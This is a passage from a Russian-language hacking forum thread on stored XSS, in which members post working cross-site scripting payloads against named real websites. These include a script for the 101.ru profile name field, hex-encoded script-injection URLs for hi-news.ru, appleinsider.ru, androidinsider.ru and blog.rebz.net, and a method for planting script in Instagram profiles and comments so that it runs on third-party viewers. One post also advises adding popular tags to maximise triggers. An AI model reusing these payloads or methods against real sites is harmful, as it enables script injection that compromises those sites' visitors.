Хранимые XSS

Discussion in 'Уязвимости' started by +toxa+, 18 Mar 2007.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    _________________________
    GroM88, BabaDook and Ruslan1993it like this.
  2. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,249
    Reputations:
    148
    Сто пудов уже было, ну а так для тех кто не в курсе, может сгодится!
    Если в instagram'e вместо имени, в инфе о себе или в коментариях вставить наш скрипт, то на многих сторонних ресурсах, что предоставляют доступ к контенту instagram.com, в браузере он автоматически отработает! Яркий пример тому iconosquare.com, срабатывание во время скролла после поисковой выдачи они недавно "пофиксили", жаль, но если перейти на понравившееся фото или на профиль, то всё отработает, как надо!

    Пруф! - фото в профиле, тоже с добавкой! )

    [​IMG]

    И чем больше популярных тегов рядом с нашим скриптом, тем чаще его будет выдавать сёрч , тем, соответствено, больше срабатываний!
    На самом деле таких ресурсов много!
     
    #502 erwerr2321, 10 Feb 2016
    Last edited: 10 Feb 2016
  3. danil7493

    danil7493 Member

    Joined:
    24 Jul 2011
    Messages:
    23
    Likes Received:
    7
    Reputations:
    10
    http://101.ru/
    Заходим в Мой профайл в поле 'ИМЯ' ставим "><script>alert("123")</script> сохраняем
    Заходим в Мое промо http://101.ru/?an=my_promo
    [​IMG]
     
    #503 danil7493, 23 Apr 2016
    Last edited: 23 Apr 2016
  4. ilia455

    ilia455 New Member

    Joined:
    7 Sep 2015
    Messages:
    6
    Likes Received:
    2
    Reputations:
    2
    Знаю что отраженные, но все же

    hi-news.ru:
    тиц 2400

    Code:
     http://hi-news.ru/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e 
    appleinsider.ru:
    тиц 1500

    Code:
     http://appleinsider.ru?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e 
    androidinsider.ru:
    тиц 500

    Code:
     http://androidinsider.ru/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e 
     
    aberkroft and <Cyber-punk> like this.
  5. ilia455

    ilia455 New Member

    Joined:
    7 Sep 2015
    Messages:
    6
    Likes Received:
    2
    Reputations:
    2
    blog.rebz.net

    Code:
    http://blog.rebz.net/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x52\\x65\\x62\\x7a\\x20\\x70\\x72\\x6f\\x73\\x74\\x69\\x27\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e